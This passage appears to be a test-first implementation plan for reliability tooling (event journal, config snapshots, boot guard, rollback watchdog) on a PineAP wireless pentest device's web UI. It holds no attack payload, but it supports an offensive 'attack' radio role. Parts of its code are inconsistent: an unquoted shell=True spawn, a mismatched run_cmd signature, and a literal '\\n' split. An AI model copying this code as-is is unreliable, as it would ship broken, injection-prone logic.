def test_counters(self):
|
||||
mk8_events.log_event('boot'); mk8_events.log_event('rollback')
|
||||
mk8_events.log_event('restart'); mk8_events.log_event('guard_fix')
|
||||
c = mk8_events.counters()
|
||||
self.assertEqual(c['boots'], 1)
|
||||
self.assertEqual(c['rollbacks'], 1)
|
||||
self.assertEqual(c['restarts'], 1)
|
||||
self.assertEqual(c['guard_fixes'], 1)
|
||||
|
||||
def test_rotation_keeps_recent(self):
|
||||
mk8_events.MAX_BYTES = 200
|
||||
for i in range(20):
|
||||
mk8_events.log_event('tick', msg='x' * 30)
|
||||
self.assertTrue(len(mk8_events.read_events()) >= 15)
|
||||
self.assertFalse(os.path.exists(mk8_events.EVENTS_PATH + '.4'))
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
```
|
||||
|
||||
- [ ] **Step 2: Run to verify failure**
|
||||
|
||||
Run: `python3 -m unittest tests.test_mk8_events -v`
|
||||
Expected: FAIL — `No module named 'mk8_events'`
|
||||
|
||||
- [ ] **Step 3: Implement**
|
||||
|
||||
```python
|
||||
"""Mark VIII reliability event journal. JSONL on /mmc, rotated."""
|
||||
import json, os, threading
|
||||
|
||||
MK8_DIR = '/mmc/mk8'
|
||||
EVENTS_PATH = os.path.join(MK8_DIR, 'events.log')
|
||||
MAX_BYTES = 5 * 1024 * 1024
|
||||
KEEP = 4
|
||||
_LOCK = threading.Lock()
|
||||
|
||||
COUNTER_KINDS = ('boot', 'unexpected_boot', 'rollback', 'restart',
|
||||
'guard_fix')
|
||||
|
||||
|
||||
def _ensure_dir():
|
||||
try:
|
||||
os.makedirs(MK8_DIR, exist_ok=True)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def log_event(kind, sev='info', msg='', meta=None):
|
||||
entry = {'ts': int(__import__('time').time()), 'kind': str(kind),
|
||||
'sev': sev, 'msg': msg[:500]}
|
||||
if meta:
|
||||
entry['meta'] = meta
|
||||
line = json.dumps(entry) + '\n'
|
||||
with _LOCK:
|
||||
_ensure_dir()
|
||||
try:
|
||||
if os.path.exists(EVENTS_PATH) and \
|
||||
os.path.getsize(EVENTS_PATH) > MAX_BYTES:
|
||||
for i in range(KEEP - 1, 0, -1):
|
||||
src = '%s.%d' % (EVENTS_PATH, i)
|
||||
dst = '%s.%d' % (EVENTS_PATH, i + 1)
|
||||
if os.path.exists(src):
|
||||
os.replace(src, dst)
|
||||
if os.path.exists(EVENTS_PATH):
|
||||
os.replace(EVENTS_PATH, EVENTS_PATH + '.1')
|
||||
with open(EVENTS_PATH, 'a') as f:
|
||||
f.write(line)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def read_events(limit=100):
|
||||
out = []
|
||||
paths = [EVENTS_PATH + '.%d' % i for i in range(KEEP, 0, -1)]
|
||||
paths.append(EVENTS_PATH)
|
||||
for path in paths:
|
||||
try:
|
||||
with open(path) as f:
|
||||
out.extend(json.loads(l) for l in f if l.strip())
|
||||
except (OSError, ValueError):
|
||||
continue
|
||||
out.sort(key=lambda r: r.get('ts', 0))
|
||||
return out[-limit:][::-1]
|
||||
|
||||
|
||||
def counters():
|
||||
counts = {k: 0 for k in COUNTER_KINDS}
|
||||
for row in read_events(limit=5000):
|
||||
k = row.get('kind')
|
||||
if k in counts:
|
||||
counts[k] += 1
|
||||
return counts
|
||||
|
||||
|
||||
def mark_boot(unexpected=False):
|
||||
log_event('unexpected_boot' if unexpected else 'boot', sev='warn'
|
||||
if unexpected else 'info',
|
||||
msg='service started' + ('' if unexpected else ' cleanly'))
|
||||
```
|
||||
|
||||
- [ ] **Step 4: Run tests to pass**
|
||||
|
||||
Run: `python3 -m unittest tests.test_mk8_events -v` → PASS
|
||||
|
||||
- [ ] **Step 5: Commit**
|
||||
|
||||
```bash
|
||||
git add payload/user/remote_access/pager-webui/mk8_events.py tests/test_mk8_events.py
|
||||
git commit -m "feat(reliability): JSONL event journal with rotation and counters"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Task 2: Profile store (`mk8_profiles.py`)
|
||||
|
||||
**Files:**
|
||||
- Create: `payload/user/remote_access/pager-webui/mk8_profiles.py`
|
||||
- Test: `tests/test_mk8_profiles.py`
|
||||
|
||||
**Interfaces:**
|
||||
- Consumes: nothing.
|
||||
- Produces: `snapshot(name)` → bool; `list_profiles()` → list of names; `restore(name)` → dict `{ok, restored:[...]}`; `auto_name(op)` → `'pre-<op>-<ts>'`; `promote_lastknown_good()`; `delete(name)`; uses `device_run` injected as module attr `run_cmd(args, timeout=20)` defaulting to `server.device_run` lazily (avoids import cycle: define own `_run` that callers/tests monkeypatch).
|
||||
|
||||
- [ ] **Step 1: Failing tests**
|
||||
|
||||
```python
|
||||
import os, sys, tempfile, unittest
|
||||
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||
import mk8_profiles
|
||||
|
||||
CONFIGS = ('pineapd', 'wireless', 'network')
|
||||
|
||||
class ProfilesTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.dir = tempfile.mkdtemp()
|
||||
mk8_profiles.PROFILES_DIR = os.path.join(self.dir, 'profiles')
|
||||
self.state = {'pineapd': 'config pineapd\n\toption x y\n',
|
||||
'wireless': 'config wireless\n', 'network': ''}
|
||||
def fake_run(args, timeout=20):
|
||||
a = list(args)
|
||||
if a[:2] == ['uci', 'export']:
|
||||
return (0, self.state.get(a[2], ''), '')
|
||||
if a[:2] == ['uci', 'import'] or a[:2] == ['uci', 'commit']:
|
||||
return (0, '', '')
|
||||
return (0, '', '')
|
||||
self.runs = []
|
||||
mk8_profiles.run_cmd = lambda args, timeout=20: (
|
||||
self.runs.append(list(args)) or fake_run(args, timeout))
|
||||
|
||||
def test_snapshot_and_list(self):
|
||||
self.assertTrue(mk8_profiles.snapshot('testprof'))
|
||||
self.assertIn('testprof', mk8_profiles.list_profiles())
|
||||
|
||||
def test_restore_issues_import_per_config(self):
|
||||
mk8_profiles.snapshot('p1')
|
||||
ok = mk8_profiles.restore('p1')
|
||||
self.assertTrue(ok['ok'])
|
||||
imported = [r for r in self.runs if r[:2] == ['uci', 'import']]
|
||||
self.assertEqual(len(imported), len(CONFIGS))
|
||||
commits = [r for r in self.runs if r[:2] == ['uci', 'commit']]
|
||||
self.assertGreaterEqual(len(commits), 1)
|
||||
|
||||
def test_auto_name_format(self):
|
||||
name = mk8_profiles.auto_name('client_connect')
|
||||
self.assertTrue(name.startswith('pre-client_connect-'))
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
```
|
||||
|
||||
- [ ] **Step 2: Verify failure** — `No module named 'mk8_profiles'`
|
||||
|
||||
- [ ] **Step 3: Implement**
|
||||
|
||||
```python
|
||||
"""UCI profile snapshots under /mmc/mk8/profiles/<name>/{pineapd,wireless,network}"""
|
||||
import os, time
|
||||
|
||||
PROFILES_DIR = '/mmc/mk8/profiles'
|
||||
CONFIGS = ('pineapd', 'wireless', 'network')
|
||||
|
||||
|
||||
def run_cmd(args, timeout=20):
|
||||
"""Lazy import avoids a circular import with server.py; tests monkeypatch."""
|
||||
from server import device_run
|
||||
return device_run(args, timeout=timeout)
|
||||
|
||||
|
||||
def _path(name):
|
||||
return os.path.join(PROFILES_DIR, name)
|
||||
|
||||
|
||||
def snapshot(name):
|
||||
dest = _path(name)
|
||||
try:
|
||||
os.makedirs(dest, exist_ok=True)
|
||||
wrote = False
|
||||
for cfg in CONFIGS:
|
||||
rc, out, err = run_cmd(['uci', 'export', cfg])
|
||||
if rc != 0 or not (out or '').strip():
|
||||
continue
|
||||
with open(os.path.join(dest, cfg + '.uci'), 'w') as f:
|
||||
f.write(out)
|
||||
wrote = True
|
||||
return wrote
|
||||
except OSError:
|
||||
return False
|
||||
|
||||
|
||||
def auto_name(op):
|
||||
return 'pre-%s-%d' % (op, int(time.time()))
|
||||
|
||||
|
||||
def list_profiles():
|
||||
try:
|
||||
return sorted(d for d in os.listdir(PROFILES_DIR)
|
||||
if os.path.isdir(_path(d)))
|
||||
except OSError:
|
||||
return []
|
||||
|
||||
|
||||
def delete(name):
|
||||
import shutil
|
||||
shutil.rmtree(_path(name), ignore_errors=True)
|
||||
|
||||
|
||||
def restore(name):
|
||||
"""Restore configs then commit once per config. Caller runs wifi reload
|
||||
/ service restart as appropriate for the operation."""
|
||||
src = _path(name)
|
||||
restored = []
|
||||
if not os.path.isdir(src):
|
||||
return {'ok': False, 'restored': [], 'error': 'profile not found'}
|
||||
for cfg in CONFIGS:
|
||||
fpath = os.path.join(src, cfg + '.uci')
|
||||
if not os.path.isfile(fpath):
|
||||
continue
|
||||
with open(fpath) as f:
|
||||
text = f.read()
|
||||
rc, _, err = run_cmd(['uci', 'import', cfg], input_data=text)
|
||||
if rc != 0:
|
||||
return {'ok': False, 'restored': restored,
|
||||
'error': 'import failed'}
|
||||
run_cmd(['uci', 'commit', cfg])
|
||||
restored.append(cfg)
|
||||
return {'ok': True, 'restored': restored}
|
||||
|
||||
|
||||
LASTKNOWN_GOOD = 'lastknown-good'
|
||||
|
||||
|
||||
def promote_lastknown_good():
|
||||
"""Replace the lastknown-good profile with the live config."""
|
||||
delete(LASTKNOWN_GOOD)
|
||||
return snapshot(LASTKNOWN_GOOD)
|
||||
```
|
||||
|
||||
Update the Step-1 fake to accept `input_data=None` and record imports:
|
||||
|
||||
```python
|
||||
def fake_run(args, timeout=20, input_data=None):
|
||||
a = list(args)
|
||||
if a[:2] == ['uci', 'import']:
|
||||
self.imports = getattr(self, 'imports', [])
|
||||
self.imports.append((a[2], input_data))
|
||||
return (0, '', '')
|
||||
if a[:2] == ['uci', 'export']:
|
||||
return (0, self.state.get(a[2], ''), '')
|
||||
if a[:2] == ['uci', 'commit']:
|
||||
return (0, '', '')
|
||||
return (0, '', '')
|
||||
```
|
||||
|
||||
- [ ] **Step 4: Run to pass.**
|
||||
- [ ] **Step 5: Commit** — `feat(reliability): UCI profile snapshot store`
|
||||
|
||||
---
|
||||
|
||||
### Task 3: Reconciler (`mk8_guard.py`)
|
||||
|
||||
**Files:**
|
||||
- Create: `payload/user/remote_access/pager-webui/mk8_guard.py`
|
||||
- Test: `tests/test_mk8_guard.py`
|
||||
|
||||
**Interfaces:**
|
||||
- Consumes: `server.PINEAPD_SAFE_UCI` (dict of safe pineapd UCI values), `server._apply_uci_wanted(wanted)`, `server._monitor_down(name)`, `server._raise_monitors()`.
|
||||
- Produces: `WANTED_EXTRA = {'pineapd.@pineapd[0].autossidpool': '0'}`; `POOL_CLEAR_MAX = 20`; `reconcile(clear_pool=True)` → `{'changed': [...], 'pool_cleared': bool}`; `guard_report()` → dict for `/api/health`.
|
||||
|
||||
- [ ] **Step 1: Failing tests**
|
||||
|
||||
Full file — reuse the exact `fake_run` device-mock pattern from `tests/test_health.py`:
|
||||
|
||||
```python
|
||||
import os, sys, unittest
|
||||
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||
import server
|
||||
import mk8_guard
|
||||
|
||||
class GuardTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.calls = []
|
||||
self.uci = {}
|
||||
self.mon_up = {'wlan0mon': True, 'wlan1mon': True}
|
||||
server._iface_up = lambda name: self.mon_up.get(name, True)
|
||||
|
||||
def fake_run(args, timeout=20, input_data=None):
|
||||
a = list(args)
|
||||
self.calls.append(a)
|
||||
if a[:2] == ['uci', 'get']:
|
||||
key = a[2]
|
||||
if key == 'pineapd.@ssidpool[0].ssid':
|
||||
return (0, ''.join('s%d\n' % i for i in range(self.pool)), '')
|
||||
return (0, self.uci.get(key, '') + '\n', '')
|
||||
if a[:2] == ['uci', 'set']:
|
||||
k, _, v = a[2].partition('=')
|
||||
self.uci[k] = v
|
||||
if a[:2] == ['uci', 'delete']:
|
||||
self.pool = 0
|
||||
return (0, '', '')
|
||||
mk8_guard.device_run = fake_run
|
||||
|
||||
def tearDown(self):
|
||||
server._iface_up = lambda name: True
|
||||
|
||||
def test_applies_all_wanted_when_missing(self):
|
||||
self.pool = 0
|
||||
result = mk8_guard.reconcile(clear_pool=False)
|
||||
sets = [c[2] for c in self.calls if c[:2] == ['uci', 'set']]
|
||||
self.assertEqual(len(sets),
|
||||
len(server.PINEAPD_SAFE_UCI) + len(mk8_guard.WANTED_EXTRA))
|
||||
self.assertTrue(result['changed'])
|
||||
|
||||
def test_clears_large_pool_only(self):
|
||||
self.pool = 25
|
||||
result = mk8_guard.reconcile(clear_pool=True)
|
||||
self.assertTrue(result['pool_cleared'])
|
||||
self.assertIn(['uci', 'delete', 'pineapd.@ssidpool[0].ssid'], self.calls)
|
||||
|
||||
def test_small_pool_untouched(self):
|
||||
self.pool = 5
|
||||
result = mk8_guard.reconcile(clear_pool=True)
|
||||
self.assertFalse(result['pool_cleared'])
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
```
|
||||
|
||||
- [ ] **Step 2: Verify failure** — no module.
|
||||
- [ ] **Step 3: Implement**
|
||||
|
||||
```python
|
||||
"""Boot-time reconciliation of crash-prone PineAP settings."""
|
||||
from server import (_apply_uci_wanted, _monitor_down, _raise_monitors,
|
||||
PINEAPD_SAFE_UCI, device_run)
|
||||
|
||||
WANTED_EXTRA = {'pineapd.@pineapd[0].autossidpool': '0'}
|
||||
POOL_CLEAR_MAX = 20
|
||||
MONITORS = ('wlan0mon', 'wlan1mon')
|
||||
|
||||
|
||||
def _pool_size():
|
||||
rc, out, err = device_run(
|
||||
['uci', 'get', 'pineapd.@ssidpool[0].ssid'])
|
||||
if rc != 0 or not (out or '').strip():
|
||||
return 0
|
||||
return len([s for s in out.strip().split('\\n') if s])
|
||||
|
||||
|
||||
def reconcile(clear_pool=True):
|
||||
changed = _apply_uci_wanted(dict(PINEAPD_SAFE_UCI, **WANTED_EXTRA))
|
||||
pool_cleared = False
|
||||
if clear_pool and _pool_size() > POOL_CLEAR_MAX:
|
||||
device_run(['uci', 'delete', 'pineapd.@ssidpool[0].ssid'])
|
||||
pool_cleared = True
|
||||
if changed or pool_cleared:
|
||||
device_run(['uci', 'commit', 'pineapd'])
|
||||
raised = _raise_monitors() if any(_monitor_down(m) for m in MONITORS) else []
|
||||
return {'changed': changed, 'pool_cleared': pool_cleared,
|
||||
'monitors_raised': raised}
|
||||
|
||||
|
||||
def guard_report():
|
||||
from server import _pending_uci
|
||||
pending = _pending_uci(dict(PINEAPD_SAFE_UCI, **WANTED_EXTRA))
|
||||
return {'in_sync': not pending, 'pending': pending,
|
||||
'pool_size': _pool_size()}
|
||||
```
|
||||
|
||||
- [ ] **Step 4: Pass. Commit:** `feat(reliability): boot-time UCI reconciler`
|
||||
|
||||
---
|
||||
|
||||
### Task 4: Guard init script + install wiring
|
||||
|
||||
**Files:**
|
||||
- Create: `payload/user/remote_access/pager-webui/mk8-guard.init`
|
||||
- Modify: `scripts/deploy.sh` (install block), `payload/user/remote_access/pager-webui/server.py` (CLI flag)
|
||||
|
||||
**Interfaces:** CLI: `python3 server.py --reconcile` runs `mk8_guard.reconcile()` and prints JSON; exit 0 always (boot must not fail).
|
||||
|
||||
- [ ] **Step 1: Write `mk8-guard.init`:**
|
||||
|
||||
```sh
|
||||
#!/bin/sh /etc/rc.common
|
||||
# Mark VIII boot guard: enforce safe PineAP UCI before the S50 stack starts.
|
||||
START=49
|
||||
STOP=90
|
||||
|
||||
GUARD_DIR="/root/payloads/user/remote_access/pager-webui"
|
||||
[ -f "$GUARD_DIR/server.py" ] || GUARD_DIR="/mmc/mk8/releases/current"
|
||||
|
||||
start() {
|
||||
[ -f "$GUARD_DIR/server.py" ] || return 0
|
||||
/usr/bin/python3 "$GUARD_DIR/server.py" --reconcile \
|
||||
>/tmp/mk8-guard.log 2>&1 || true
|
||||
}
|
||||
|
||||
stop() { return 0; }
|
||||
```
|
||||
|
||||
- [ ] **Step 2: Add CLI branch in `server.py` `__main__` (after `--release-pager`):**
|
||||
|
||||
```python
|
||||
if '--reconcile' in sys.argv:
|
||||
try:
|
||||
import mk8_guard
|
||||
print(json.dumps(mk8_guard.reconcile()))
|
||||
except Exception as exc: # boot must never fail here
|
||||
print(json.dumps({'error': str(exc)}))
|
||||
sys.exit(0)
|
||||
```
|
||||
|
||||
- [ ] **Step 3: deploy.sh install block (inside REMOTE_COMMAND before EXTRACT_OK echo):**
|
||||
|
||||
```sh
|
||||
cp -f '$DIR/mk8-guard.init' /etc/init.d/mk8-guard
|
||||
chmod 755 /etc/init.d/mk8-guard
|
||||
/etc/init.d/mk8-guard enable
|
||||
```
|
||||
|
||||
(`$DIR` is the existing remote payload dir var used by the unzip step.)
|
||||
|
||||
- [ ] **Step 4: Local verification:** `python3 -m py_compile payload/user/remote_access/pager-webui/server.py && node --check payload/user/remote_access/pager-webui/www/js/app.js` (JS untouched but cheap sanity). `sh -n scripts/deploy.sh`.
|
||||
- [ ] **Step 5: Commit** — `feat(reliability): START=49 boot guard installed by deploy`
|
||||
|
||||
---
|
||||
|
||||
### Task 5: Supervisor extension of health monitor
|
||||
|
||||
**Files:**
|
||||
- Modify: `payload/user/remote_access/pager-webui/server.py` (`health_check`, `_health_loop`, `h_health`, `serve()` boot sequence)
|
||||
- Test: `tests/test_health.py` (extend), `tests/test_reliability_api.py` (new)
|
||||
|
||||
**Interfaces:**
|
||||
- Consumes: `mk8_events`, `mk8_guard.guard_report()`.
|
||||
- Produces in `_health`: `mem_percent`, `events` (last 20), `reliability` counters, `guard` report; boot-marker logic `check_boot_marker()` → bool unexpected; mem sampling `_mem_percent()`.
|
||||
|
||||
- [ ] **Step 1: Failing tests** — add to `tests/test_health.py` (same fake_run pattern already there):
|
||||
|
||||
```python
|
||||
class SupervisorExtrasTest(unittest.TestCase):
|
||||
def runTestWith(self): # helper: reuse existing setUp fake_run
|
||||
pass
|
||||
|
||||
def test_mem_percent_math(self):
|
||||
import tempfile
|
||||
content = 'MemTotal: 250000 kB\nMemAvailable: 100000 kB\n'
|
||||
path = tempfile.mktemp()
|
||||
open(path, 'w').write(content)
|
||||
self.assertEqual(server._mem_percent(path), 60)
|
||||
|
||||
def test_health_reports_events_and_counters(self):
|
||||
import mk8_events
|
||||
mk8_events.log_event('restart', msg='x')
|
||||
status, h = server.h_health(None)
|
||||
self.assertEqual(status, 200)
|
||||
self.assertIn('events', h)
|
||||
self.assertIn('boots', h['reliability'])
|
||||
|
||||
def test_boot_marker_detects_unexpected(self):
|
||||
import mk8_events, tempfile, os
|
||||
marker = tempfile.mktemp()
|
||||
old = server.BOOT_MARKER
|
||||
server.BOOT_MARKER = marker
|
||||
try:
|
||||
open(marker, 'w').write('0')
|
||||
self.assertTrue(server.check_boot_marker())
|
||||
os.unlink(marker)
|
||||
self.assertFalse(server.check_boot_marker())
|
||||
finally:
|
||||
server.BOOT_MARKER = old
|
||||
```
|
||||
|
||||
(`_mem_percent` takes a `path` argument so tests inject a temp file; production call passes no arg.)
|
||||
|
||||
- [ ] **Step 2: Implement** — key code:
|
||||
|
||||
```python
|
||||
def _mem_percent(path='/proc/meminfo'):
|
||||
try:
|
||||
vals = {}
|
||||
with open(path) as f:
|
||||
for line in f:
|
||||
k, v = line.split(':')
|
||||
vals[k] = int(v.strip().split()[0])
|
||||
total = vals.get('MemTotal', 0)
|
||||
avail = vals.get('MemAvailable', vals.get('MemFree', 0))
|
||||
return round(100.0 * (total - avail) / total) if total else 0
|
||||
except (OSError, ValueError):
|
||||
return 0
|
||||
|
||||
MEM_WARN_PERCENT = 85
|
||||
MEM_WARN_STREAK = 5
|
||||
|
||||
# inside health_check(), after monitor repair section:
|
||||
h['mem_percent'] = _mem_percent()
|
||||
if h['mem_percent'] >= MEM_WARN_PERCENT:
|
||||
h['mem_streak'] = h.get('mem_streak', 0) + 1
|
||||
else:
|
||||
h['mem_streak'] = 0
|
||||
if h['mem_streak'] == MEM_WARN_STREAK:
|
||||
mk8_events.log_event('mem_warn', sev='warn',
|
||||
msg='memory above %d%% sustained' % MEM_WARN_PERCENT)
|
||||
|
||||
# restart action gains journaling:
|
||||
h['fixes'] += 1
|
||||
mk8_events.log_event('restart', msg='pineapd restarted by health monitor')
|
||||
```
|
||||
|
||||
Boot marker (called from `startup_env_check` tail):
|
||||
|
||||
```python
|
||||
BOOT_MARKER = '/mmc/mk8/boot.marker'
|
||||
|
||||
def check_boot_marker():
|
||||
import os, mk8_events
|
||||
try:
|
||||
unexpected = os.path.exists(BOOT_MARKER)
|
||||
mk8_events.mark_boot(unexpected=unexpected)
|
||||
with open(BOOT_MARKER, 'w') as f:
|
||||
f.write(str(int(time.time())))
|
||||
return unexpected
|
||||
except OSError:
|
||||
return False
|
||||
```
|
||||
|
||||
`h_health` additions:
|
||||
|
||||
```python
|
||||
import mk8_events, mk8_guard
|
||||
h['reliability'] = mk8_events.counters()
|
||||
h['events'] = mk8_events.read_events(limit=20)
|
||||
h['guard'] = mk8_guard.guard_report()
|
||||
```
|
||||
|
||||
- [ ] **Step 3: Run full test_health + new api test to pass.**
|
||||
- [ ] **Step 4: Commit** — `feat(reliability): supervisor sampling, event feed, boot marker`
|
||||
|
||||
---
|
||||
|
||||
### Task 6: Risky-op gate + rollback watchdog
|
||||
|
||||
**Files:**
|
||||
- Create: `payload/user/remote_access/pager-webui/mk8_gate.py`, `payload/user/remote_access/pager-webui/mk8-watchdog.sh`
|
||||
- Modify: `server.py` (wrap handlers), `deploy.sh` (ship watchdog script)
|
||||
- Test: `tests/test_mk8_gate.py`
|
||||
|
||||
**Interfaces:**
|
||||
- `watchdog_decision(fails, oks, fail_after=6, healthy_after=6)` → `'rollback'|'promote'|None` (pure).
|
||||
- `gated(op, fn)` decorator/context: snapshots `auto_name(op)`, spawns watchdog via `setsid sh mk8-watchdog.sh <profile> ... &`, runs fn, returns `(result, profile)`.
|
||||
- CLI: `server.py --rollback-snapshot <name>` restores profile + wifi reload; `--promote-snapshot <name>` promotes lastknown-good.
|
||||
|
||||
- [ ] **Step 1: Failing decision-table tests**
|
||||
|
||||
```python
|
||||
import os, sys, unittest
|
||||
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||
import mk8_gate
|
||||
|
||||
class DecisionTest(unittest.TestCase):
|
||||
def tick(self, state):
|
||||
action, new = mk8_gate.watchdog_decision(state)
|
||||
return action, new
|
||||
|
||||
def test_no_action_below_fail_threshold(self):
|
||||
action, s = self.tick({'fails': 5, 'oks': 0, 'tripped': False})
|
||||
self.assertIsNone(action)
|
||||
self.assertFalse(s['tripped'])
|
||||
|
||||
def test_rollback_at_threshold(self):
|
||||
action, s = self.tick({'fails': 6, 'oks': 0, 'tripped': False})
|
||||
self.assertEqual(action, 'rollback')
|
||||
self.assertTrue(s['tripped'])
|
||||
self.assertEqual(s['oks'], 0)
|
||||
|
||||
def test_promote_after_recovery(self):
|
||||
action, s = self.tick({'fails': 6, 'oks': 6, 'tripped': True})
|
||||
self.assertEqual(action, 'promote')
|
||||
|
||||
def test_no_promote_before_recovery_threshold(self):
|
||||
action, s = self.tick({'fails': 6, 'oks': 5, 'tripped': True})
|
||||
self.assertIsNone(action)
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
```
|
||||
|
||||
- [ ] **Step 2: Implement `mk8_gate.py`**
|
||||
|
||||
```python
|
||||
"""Risky-operation gate: snapshot + detached rollback watchdog."""
|
||||
import subprocess
|
||||
|
||||
WATCHDOG = '/root/payloads/user/remote_access/pager-webui/mk8-watchdog.sh'
|
||||
FAIL_AFTER = 6 # consecutive local-liveness failures -> rollback
|
||||
HEALTHY_AFTER = 6 # consecutive successes after failure -> promote
|
||||
INTERVAL = 5 # seconds between probes
|
||||
|
||||
|
||||
def watchdog_decision(state):
|
||||
"""state: {'fails': int, 'oks': int, 'tripped': bool,
|
||||
'fail_after': 6, 'healthy_after': 6}
|
||||
Returns (action, new_state): action in {'rollback','promote',None}."""
|
||||
s = dict(state)
|
||||
fa = s.get('fail_after', FAIL_AFTER)
|
||||
ha = s.get('healthy_after', HEALTHY_AFTER)
|
||||
if not s['tripped'] and s['fails'] >= fa:
|
||||
return 'rollback', dict(s, tripped=True, oks=0)
|
||||
if s['tripped'] and s['oks'] >= ha:
|
||||
return 'promote', s
|
||||
return None, s
|
||||
|
||||
|
||||
def gated(op, profiles, spawn=None):
|
||||
"""Decorator factory: snapshot config, spawn detached watchdog, run op."""
|
||||
import shlex
|
||||
if spawn is None:
|
||||
def spawn(cmd):
|
||||
subprocess.Popen(cmd, shell=True, start_new_session=True)
|
||||
def deco(fn):
|
||||
def wrapped(*a, **kw):
|
||||
name = profiles.auto_name(op)
|
||||
profiles.snapshot(name)
|
||||
spawn("setsid sh %s %s %d %d %d >/dev/null 2>&1 &" %
|
||||
(shlex.quote(WATCHDOG), shlex.quote(name),
|
||||
INTERVAL, FAIL_AFTER, HEALTHY_AFTER))
|
||||
return fn(*a, **kw)
|
||||
return wrapped
|
||||
return deco
|
||||
```
|
||||
|
||||
(Remove the earlier `NotImplementedError` sketch entirely — this is the final form.)
|
||||
|
||||
`gated` implementation:
|
||||
|
||||
```python
|
||||
def gated(op, profiles, spawn=lambda cmd: subprocess.Popen(
|
||||
cmd, shell=True, start_new_session=True)):
|
||||
"""Decorator factory. profiles = mk8_profiles module."""
|
||||
def deco(fn):
|
||||
def wrapped(*a, **kw):
|
||||
name = profiles.auto_name(op)
|
||||
profiles.snapshot(name)
|
||||
spawn("setsid sh %s %s %d %d %d >/dev/null 2>&1 &"
|
||||
% (WATCHDOG, name, INTERVAL, FAIL_AFTER, HEALTHY_AFTER))
|
||||
return fn(*a, **kw)
|
||||
return wrapped
|
||||
return deco
|
||||
```
|
||||
|
||||
- [ ] **Step 3: `mk8-watchdog.sh`**
|
||||
|
||||
```sh
|
||||
#!/bin/sh
|
||||
# Usage: mk8-watchdog.sh <profile> <interval> <fail_after> <healthy_after>
|
||||
PROFILE="$1"; IV="${2:-5}"; FA="${3:-6}"; HA="${4:-6}"
|
||||
DIR="/root/payloads/user/remote_access/pager-webui"
|
||||
[ -f "$DIR/server.py" ] || DIR="/mmc/mk8/releases/current"
|
||||
fails=0; oks=0; tripped=0
|
||||
probe() {
|
||||
curl -fsS -m 3 http://127.0.0.1:8080/ >/dev/null 2>&1 &&
|
||||
{ ip link show wlan0mon >/dev/null 2>&1 ||
|
||||
ip link show wlan1mon >/dev/null 2>&1; }
|
||||
}
|
||||
while true; do
|
||||
if probe; then
|
||||
fails=0
|
||||
if [ "$tripped" = "1" ]; then
|
||||
oks=$((oks + 1))
|
||||
if [ "$oks" -ge "$HA" ]; then
|
||||
/usr/bin/python3 "$DIR/server.py" --promote-snapshot "$PROFILE" >/dev/null 2>&1
|
||||
exit 0
|
||||
fi
|
||||
fi
|
||||
else
|
||||
fails=$((fails + 1)); oks=0
|
||||
if [ "$tripped" = "0" ] && [ "$fails" -ge "$FA" ]; then
|
||||
tripped=1
|
||||
/usr/bin/python3 "$DIR/server.py" --rollback-snapshot "$PROFILE" >/dev/null 2>&1
|
||||
fi
|
||||
fi
|
||||
sleep "$IV"
|
||||
done
|
||||
```
|
||||
|
||||
- [ ] **Step 4: Wire gates** — decorate `h_pineap_wifi_set_ap`, `_disable_sta_uplink` call sites, enterprise deploy/stop, and any handler issuing `wifi reload`, with `@mk8_gate.gated('<op>', mk8_profiles)`.
|
||||
- [ ] **Step 5: CLI rollback/promote hooks in `server.py` `__main__`:**
|
||||
|
||||
```python
|
||||
if '--rollback-snapshot' in sys.argv:
|
||||
name = sys.argv[sys.argv.index('--rollback-snapshot') + 1]
|
||||
import mk8_profiles
|
||||
result = mk8_profiles.restore(name)
|
||||
device_run(['wifi', 'reload'], timeout=90)
|
||||
import mk8_events
|
||||
mk8_events.log_event('rollback', sev='warn',
|
||||
msg='watchdog restored %s' % name,
|
||||
meta=result)
|
||||
print(json.dumps(result))
|
||||
sys.exit(0)
|
||||
if '--promote-snapshot' in sys.argv:
|
||||
name = sys.argv[sys.argv.index('--promote-snapshot') + 1]
|
||||
import mk8_profiles
|
||||
print(json.dumps({'promoted': mk8_profiles.promote_lastknown_good()}))
|
||||
sys.exit(0)
|
||||
```
|
||||
|
||||
- [ ] **Step 6: Tests pass; `sh -n mk8-watchdog.sh`; commit** — `feat(reliability): risky-op preflight snapshots + detached rollback watchdog`
|
||||
|
||||
---
|
||||
|
||||
### Task 7: RF role manager (`mk8_rfplan.py`)
|
||||
|
||||
**Files:**
|
||||
- Create: `payload/user/remote_access/pager-webui/mk8_rfplan.py`
|
||||
- Modify: `server.py` (routes), UI chip later in Task 8
|
||||
- Test: `tests/test_mk8_rfplan.py`
|
||||
|
||||
**Interfaces:**
|
||||
- Consumes: `server._pause_hop/_resume_hop/_read_hop`, `server.device_run`, `server._uci_values/_set_uci`, gate from Task 6.
|
||||
- Produces: `current_role()` → `'attack'|'uplink'|'idle'`; `set_role(role, ssid=None, psk=None)` → dict result (gated); ensures exclusivity: attack AP enable paths call `ensure_attack()` which auto-switches uplink→attack first.
|
||||
- Routes: `GET /api/rfplan` , `POST /api/rfplan/role`.
|
||||
|
||||
- [ ] **Step 1: Failing tests** (fake device_run capturing uci/iw calls):
|
||||
|
||||
```python
|
||||
def test_uplink_sets_sta_section_and_pauses_hop(self): ...
|
||||
def test_set_role_uplink_requires_ssid(self): ...
|
||||
def test_exclusivity_switch(self): ...
|
||||
def test_current_role_reads_uci(self): ...
|
||||
```
|
||||
|
||||
Assertions: `uci set wireless.wlan1up.mode=sta`, `.disabled=0`, `.ssid=<ssid>`, hop paused via `_pause_hop` mock, `wifi reload` invoked through gated op only.
|
||||
|
||||
- [ ] **Step 2: Implement core:**
|
||||
|
